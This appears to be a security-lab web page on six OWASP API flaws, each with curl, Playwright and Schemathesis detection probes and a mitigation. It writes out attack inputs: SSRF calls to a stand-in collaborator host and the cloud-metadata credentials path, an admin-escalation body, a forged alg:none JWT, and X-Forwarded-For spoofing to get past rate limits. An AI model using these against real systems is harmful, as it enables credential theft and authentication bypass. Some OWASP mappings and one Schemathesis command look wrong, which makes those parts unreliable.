Skip to main content
Back to Practice API
Security Testing Lab

6 OWASP API Patterns

Every pattern maps to a 2023 OWASP API Top-10 category. Read the vulnerability, see a detection probe in three tools (curl, Playwright, Schemathesis), then note the mitigation you'd expect in a fixed system.

1. Server-Side Request Forgery (SSRF)

OWASP API7:2023 โ€” Server-Side Request Forgery

critical

Vulnerability: The API accepts a URL parameter and fetches it server-side without validating the host. An attacker points it at 169.254.169.254 (AWS metadata), localhost, or an internal service.

Detection: Probe with a callback server (e.g. webhook.site). If the server fetches your URL, SSRF is confirmed. Escalate to cloud metadata endpoints on AWS, GCP, Azure.

curl
# Probe: does the server fetch arbitrary URLs?
curl -X POST https://api.example.com/webhooks/register \
  -H 'Content-Type: application/json' \
  -d '{"callback_url": "http://YOUR_COLLABORATOR.oast.live/ssrf-probe"}'

# Escalate: cloud metadata
curl -X POST https://api.example.com/webhooks/register \
  -d '{"callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
Playwright
test('detect SSRF via outbound probe', async ({ request }) => {
  const probeUrl = 'http://YOUR_COLLABORATOR.oast.live/ssrf-${Date.now()}';
  await request.post('/api/webhooks/register', {
    data: { callback_url: probeUrl },
  });

  // Poll collaborator server for incoming hit
  const hit = await pollCollaborator(probeUrl, { timeoutMs: 10_000 });
  expect(hit, 'Expected callback_url to be rejected, but server fetched it').toBeNull();
});
Schemathesis
# schemathesis run with custom check
schemathesis run openapi.yaml \
  --checks=all \
  --hypothesis-seed=42 \
  --header 'Authorization: Bearer $TOKEN' \
  --base-url https://api.example.com

# Add a custom check to flag any response that dereferences a URL param
# docs: https://schemathesis.readthedocs.io/en/stable/customization.html

Mitigation: Allow-list outbound hosts. Block RFC1918 ranges (10/8, 172.16/12, 192.168/16), link-local (169.254/16), and loopback. Resolve DNS once and pin the IP to prevent rebinding.

2. Insecure Direct Object Reference (IDOR)

OWASP API1:2023 โ€” Broken Object Level Authorization

critical

Vulnerability: GET /orders/1234 returns another user's order because the server trusts the path parameter without checking ownership. Changing the ID in the URL reveals unauthorised data.

Detection: Create two users. Log in as user A, grab one of A's object IDs, then try to fetch / modify it while authenticated as user B. A 200 response is the bug.

curl
# Enumerate: does /orders/{id} leak cross-tenant data?
TOKEN_A=...  # user A's session
TOKEN_B=...  # user B's session

# User A creates an order
OID=$(curl -s -X POST /api/orders -H "Authorization: Bearer $TOKEN_A" \
  -d '{"item":"x"}' | jq -r .id)

# User B should get 404 or 403 โ€” not 200
curl -i /api/orders/$OID -H "Authorization: Bearer $TOKEN_B"
Playwright
test('IDOR on GET /orders/:id', async ({ request }) => {
  const tokenA = await login('alice@example.com');
  const tokenB = await login('bob@example.com');

  const create = await request.post('/api/orders', {
    headers: { Authorization: `Bearer ${tokenA}` },
    data: { item: 'laptop' },
  });
  const { id } = await create.json();

  const res = await request.get(`/api/orders/${id}`, {
    headers: { Authorization: `Bearer ${tokenB}` },
  });

  // Fail loudly if Bob can read Alice's order
  expect([403, 404]).toContain(res.status());
});
Schemathesis
# Auth matrix test: each endpoint ร— each token โ†’ expected status
st run openapi.yaml \
  --auth "alice:pwd" \
  --auth "bob:pwd" \
  --checks response_schema_conformance,not_a_server_error \
  --hypothesis-database .hypothesis

Mitigation: Check ownership on every request: SELECT * FROM orders WHERE id = ? AND owner_id = ?. Never trust client-supplied IDs alone. Use opaque UUIDs instead of sequential integers to reduce enumerability.

3. Mass Assignment

OWASP API6:2023 โ€” Unrestricted Access to Sensitive Business Flows

high

Vulnerability: POST /users accepts arbitrary JSON fields and maps them directly to the model. An attacker adds {"role": "admin"} and escalates privileges.

Detection: Add unexpected fields to request bodies โ€” role, is_admin, balance, verified โ€” and check if the server accepts them. 200 with the field echoed back is a strong signal.

curl
# Inject admin elevation field
curl -X POST /api/users \
  -H 'Content-Type: application/json' \
  -d '{
    "email": "attacker@evil.com",
    "password": "x",
    "role": "admin",
    "is_verified": true,
    "account_balance": 999999
  }'

# If GET /api/users/:id returns role=admin, the field was accepted
Playwright
test('mass assignment on POST /users', async ({ request }) => {
  const res = await request.post('/api/users', {
    data: {
      email: 'probe@test.dev',
      password: 'p4ssw0rd!',
      role: 'admin',            // should be ignored
      is_verified: true,         // should be ignored
      account_balance: 999_999,  // should be ignored
    },
  });

  const { id } = await res.json();
  const fetched = await request.get(`/api/users/${id}`).then(r => r.json());

  expect(fetched.role).toBe('user');         // default, not admin
  expect(fetched.is_verified).toBe(false);   // requires email flow
  expect(fetched.account_balance).toBe(0);   // not user-controlled
});
Schemathesis
# stateful testing: schemathesis generates field variants
st run openapi.yaml \
  --hypothesis-max-examples=500 \
  --checks response_schema_conformance \
  --data-generation-method=negative

# negative generation attempts to violate the schema โ€” catches extra-field acceptance

Mitigation: Use explicit allow-list on each endpoint: Zod schema or DTO that only permits fields the endpoint documents. Reject unknown keys (strict mode) rather than silently dropping them โ€” attackers probe for which mode you use.

4. JWT algorithm confusion / none

OWASP API2:2023 โ€” Broken Authentication

critical

Vulnerability: Server accepts JWTs with {"alg":"none"} or switches RS256 verification to HS256 (using the public key as HMAC secret). Either lets an attacker forge tokens.

Detection: Take a valid token, tamper the header to {"alg":"none"} and strip the signature. If the server accepts it, you have full authentication bypass.

curl
# Decode a valid token
TOKEN="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiIxIn0.abc123"

# Forge alg:none variant
HEADER='eyJhbGciOiJub25lIn0'                   # {"alg":"none"}
PAYLOAD='eyJzdWIiOiJhZG1pbiIsImlhdCI6MTd9'      # {"sub":"admin","iat":17}
FORGED="$HEADER.$PAYLOAD."

# If this returns 200, your auth is broken
curl -i /api/me -H "Authorization: Bearer $FORGED"
Playwright
test('reject alg:none JWT', async ({ request }) => {
  const header = Buffer.from('{"alg":"none"}').toString('base64url');
  const payload = Buffer.from('{"sub":"admin"}').toString('base64url');
  const forged = `${header}.${payload}.`;

  const res = await request.get('/api/me', {
    headers: { Authorization: `Bearer ${forged}` },
  });

  expect(res.status()).toBe(401);
});
Schemathesis
# Use the built-in auth-fuzzing check
st run openapi.yaml \
  --checks=all \
  --auth "bearer:VALID_TOKEN" \
  # schemathesis will probe with tampered tokens automatically
  --hypothesis-max-examples=200

Mitigation: Pin the algorithm on the verifier side: jwt.verify(token, key, { algorithms: ['RS256'] }). Never accept 'none'. Separate the signing key from the key used to verify. Use JWKS with kid to rotate keys.

5. Timing attacks on login

OWASP API10:2023 โ€” Unsafe Consumption of APIs

medium

Vulnerability: Login responds faster for "user not found" than for "wrong password" because the bcrypt check is skipped on unknown emails. An attacker enumerates valid users by measuring response time.

Detection: Send many login attempts with known-bad passwords, split between known valid emails and random ones. Measure p50/p95. A significant gap (> 50 ms) leaks email validity.

curl
# Time known-valid vs random email logins
for email in alice@real.dev random$(date +%s)@test.dev; do
  time curl -sS -X POST /api/login \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"$email\",\"password\":\"wrong\"}" > /dev/null
done

# If 'alice' takes 200 ms but random takes 20 ms โ†’ timing oracle
Playwright
test('login timing does not leak user existence', async ({ request }) => {
  const samples = 30;
  const known: number[] = [];
  const random: number[] = [];

  for (let i = 0; i < samples; i++) {
    const tKnown = performance.now();
    await request.post('/api/login', { data: { email: 'alice@real.dev', password: 'bad' } });
    known.push(performance.now() - tKnown);

    const tRandom = performance.now();
    await request.post('/api/login', { data: { email: `r${i}@test.dev`, password: 'bad' } });
    random.push(performance.now() - tRandom);
  }

  const median = (a: number[]) => a.sort((x, y) => x - y)[Math.floor(a.length / 2)];
  const delta = Math.abs(median(known) - median(random));
  expect(delta, 'Timing delta reveals valid email').toBeLessThan(30);
});
Schemathesis
# Not schemathesis's strong suit โ€” custom script is better here.
# Use hypothesis + statistics library for rigorous timing comparison.

Mitigation: Always run password hashing (bcrypt/argon2) on a dummy hash when the user is not found โ€” identical work, identical latency. Rate-limit login and alert on enumeration bursts.

6. Rate-limit bypass

OWASP API4:2023 โ€” Unrestricted Resource Consumption

high

Vulnerability: Rate limits are keyed on IP alone. Rotating through a proxy pool, adding X-Forwarded-For, or varying casing in the endpoint path bypasses the limiter and enables credential stuffing.

Detection: Issue 1000 login attempts in a minute. Vary X-Forwarded-For, case in path (/login vs /Login), trailing slashes, and query noise. Count how many actually trip the 429.

curl
# Baseline: how many before 429?
for i in {1..200}; do
  curl -sS -o /dev/null -w '%{http_code}\n' /api/login -d '{...}'
done | sort | uniq -c

# Bypass probe: spoof X-Forwarded-For
for i in {1..200}; do
  IP="10.0.$((RANDOM % 255)).$((RANDOM % 255))"
  curl -sS -o /dev/null -w '%{http_code}\n' /api/login \
    -H "X-Forwarded-For: $IP" -d '{...}'
done | sort | uniq -c
Playwright
test('rate-limit cannot be bypassed via XFF spoof', async ({ request }) => {
  const codes: number[] = [];
  for (let i = 0; i < 200; i++) {
    const res = await request.post('/api/login', {
      headers: { 'X-Forwarded-For': `10.0.${i}.${i}` },
      data: { email: 't@t', password: 'x' },
    });
    codes.push(res.status());
  }
  const blocked = codes.filter((c) => c === 429).length;
  expect(blocked, 'Spoofed XFF should not reset the limiter').toBeGreaterThan(150);
});
Schemathesis
# Use fuzzing to discover path variants the limiter misses
st run openapi.yaml \
  --checks not_a_server_error \
  --hypothesis-max-examples=1000 \
  --header 'X-Forwarded-For: {random_ip}'

Mitigation: Key rate limits on (authenticated user ID | resolved client IP from a trusted proxy header) โ€” never on raw user-controlled headers. Normalise the path (lowercase, strip trailing slash) before keying. Use a sliding window instead of a fixed window to resist burst at boundaries.

Related Labs